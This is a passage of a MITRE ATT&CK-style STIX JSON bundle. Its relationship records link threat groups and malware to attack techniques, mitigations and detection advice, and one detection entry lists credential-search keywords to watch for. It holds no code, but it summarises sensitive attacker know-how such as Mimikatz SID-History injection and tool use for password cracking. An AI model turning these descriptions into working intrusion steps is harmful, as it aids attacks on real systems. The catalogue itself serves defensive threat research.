"relationship--3e24f01c-3af8-4dde-9200-4f69fecb3156", "type": "relationship", "created": "2020-02-11T20:35:32.284Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T20:35:32.284Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e26385f-0aa0-44a3-8830-978610a1680d", "created": "2023-04-10T17:03:38.990Z", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. 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(2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. 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(2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}], "modified": "2019-04-24T23:41:40.041Z", "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uploads data in 2048-byte chunks.(Citation: FireEye POSHSPY April 2017)", "relationship_type": "uses", "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e4e4075-1731-47b5-b95f-7e0b916556d5", "type": "relationship", "created": "2021-12-06T15:53:35.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). 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Retrieved November 2, 2017.", "url": "https://tools.kali.org/password-attacks/hydra"}], "modified": "2021-12-06T20:45:13.973Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed tools used for password cracking, including Hydra and [CrackMapExec](https://attack.mitre.org/software/S0488).(Citation: US-CERT TA18-074A)(Citation: Kali Hydra)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e4f8216-03ef-4e7a-8a4a-28905fb0f474", "type": "relationship", "created": "2019-07-29T14:58:44.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/", "source_name": "CarbonBlack RobbinHood May 2019"}], "modified": "2019-07-29T15:46:15.099Z", "description": "[RobbinHood](https://attack.mitre.org/software/S0400) stops 181 Windows services on the system before beginning the encryption process.(Citation: CarbonBlack RobbinHood May 2019) ", "relationship_type": "uses", "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e55d71d-b733-41a9-9ad2-a53131617c78", "type": "relationship", "created": "2021-03-03T16:49:14.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-03-03T16:49:14.692Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) has used VBA macros in Microsoft Word attachments to drop additional files to the host.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e58118d-64b9-43ae-bfd8-cb3c8bf19556", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}], "modified": "2021-09-08T19:22:44.602Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AdSecurity Kerberos GT Aug 2015", "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", "url": "https://adsecurity.org/?p=1640"}, {"source_name": "Adsecurity Mimikatz Guide", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "url": "https://adsecurity.org/?page_id=1821"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-05T14:46:34.592Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>MISC::AddSid</code> module can append any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e62e520-0104-4be7-b4e2-d68fa88d7067", "created": "2021-10-01T01:57:31.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}, {"source_name": "Intezer TeamTNT September 2020", "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", "url": "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.703Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has deployed different types of containers into victim environments to facilitate execution.(Citation: Intezer TeamTNT September 2020)(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges.(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e646993-2414-4382-b709-6c5bc02740e3", "type": "relationship", "created": "2020-02-10T19:49:46.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-10T19:52:47.817Z", "description": "Require signed binaries.", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e6b6ed9-4c28-4dd0-903a-360f57864de4", "created": "2022-10-13T16:06:06.012Z", "revoked": false, "external_references": [{"source_name": "NCC Group TA505", "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.", "url": "https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:06:06.012Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used a variety of tools in their operations, including [AdFind](https://attack.mitre.org/software/S0552), [BloodHound](https://attack.mitre.org/software/S0521), [Mimikatz](https://attack.mitre.org/software/S0002), and [PowerSploit](https://attack.mitre.org/software/S0194).(Citation: NCC Group TA505)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3e76b11e-8a9e-4300-b9d4-8cbd8e8bb37f", "created": "2019-11-27T13:52:46.033Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Secureworks - AT.exe Scheduled Task", "url": "https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems", "description": "Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019."}, {"source_name": "Kifarunix - Task Scheduling in Linux", "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."}, {"source_name": "Powersploit", "url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit) Windows operating system also creates a registry key specifically associated with the creation of a scheduled task on the destination host at: Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\At1. (Citation: Secureworks - AT.exe Scheduled Task) In Linux and macOS environments, scheduled tasks using <code>[at](https://attack.mitre.org/software/S0110)</code> can be audited locally, or through centrally collected logging, using syslog, or auditd events from the host. (Citation: Kifarunix - Task Scheduling in Linux)", "modified": "2022-04-16T20:26:54.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e79db26-a2ce-4233-a86c-5a97b10dd937", "type": "relationship", "created": "2021-03-12T18:46:47.319Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.319Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) has downloaded a DLL to the <code>C:\\windows\\system32\\drivers\\</code> folder and renamed it with a <code>.sys</code> extension.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3e7a9b97-079a-45bd-8c9b-9d04115b0d89", "created": "2022-03-30T14:26:51.874Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", "modified": "2022-04-20T00:28:34.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e7abaec-8d7a-4a81-be54-03492b6dc2b7", "created": "2024-03-07T20:20:31.228Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-07T20:20:31.228Z", "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell that has the ability to execute arbitrary commands or write files.(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "malware--29a0bb87-1162-4c83-9834-2a98a876051b", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", "source_name": "F-Secure Cosmicduke"}], "modified": "2021-07-20T21:57:36.148Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from network shared drives with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e7e5626-7662-4a51-8dfe-e7fecd368750", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}, {"description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html", "source_name": "Talos MuddyWater May 2019"}, {"source_name": "Anomali Static Kitten February 2021", "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}], "modified": "2021-03-17T20:37:58.362Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)(Citation: Anomali Static Kitten February 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e91f49c-5342-49d8-8105-7ab17c5ef9f4", "created": "2021-05-26T12:26:52.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "IBM ITG07 June 2019", "description": "McMillen, D. Sperry, C. (2019, June 14). Observations of ITG07 Cyber Operations. Retrieved May 17, 2021.", "url": "https://securityintelligence.com/posts/observations-of-itg07-cyber-operations/"}, {"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.778Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has modified and used customized versions of publicly-available tools like PLINK and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: BitDefender Chafer May 2020)(Citation: IBM ITG07 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e925289-8c29-4e14-ac5e-dd4ab927b113", "type": "relationship", "created": "2020-11-25T19:48:34.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-25T22:46:48.714Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has developed malware for its operations, including malicious mobile applications and destructive malware such as [NotPetya](https://attack.mitre.org/software/S0368) and [Olympic Destroyer](https://attack.mitre.org/software/S0365).(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e93cca0-c97a-49b3-af3b-9598b00a27f5", "type": "relationship", "created": "2021-04-08T19:35:36.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-04-08T19:38:02.717Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) can disable the system's local proxy settings.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ea6e72b-3d19-4864-aebd-cc31dad7d519", "type": "relationship", "created": "2020-05-21T21:31:34.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.256Z", "description": "[Pony](https://attack.mitre.org/software/S0453) can download additional files onto the infected system.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3eafcf0b-eab0-4d30-a05e-c6792408190e", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Command History", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", "modified": "2022-04-20T12:43:33.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3eb174df-6b12-484e-89c1-fce208e6cdfd", "type": "relationship", "created": "2021-03-02T18:16:41.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-02T18:16:41.055Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has loaded a plist file using the <code>launchctl</code> command.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}], "modified": "2021-04-27T19:53:40.885Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for removable media and duplicates itself onto it.(Citation: DustySky)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3eb31ed1-d93b-4897-bd66-bf2a2935ff71", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:22:00.274Z", "description": "Monitor for newly executed processes that may attempt to get a listing of open application windows. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to 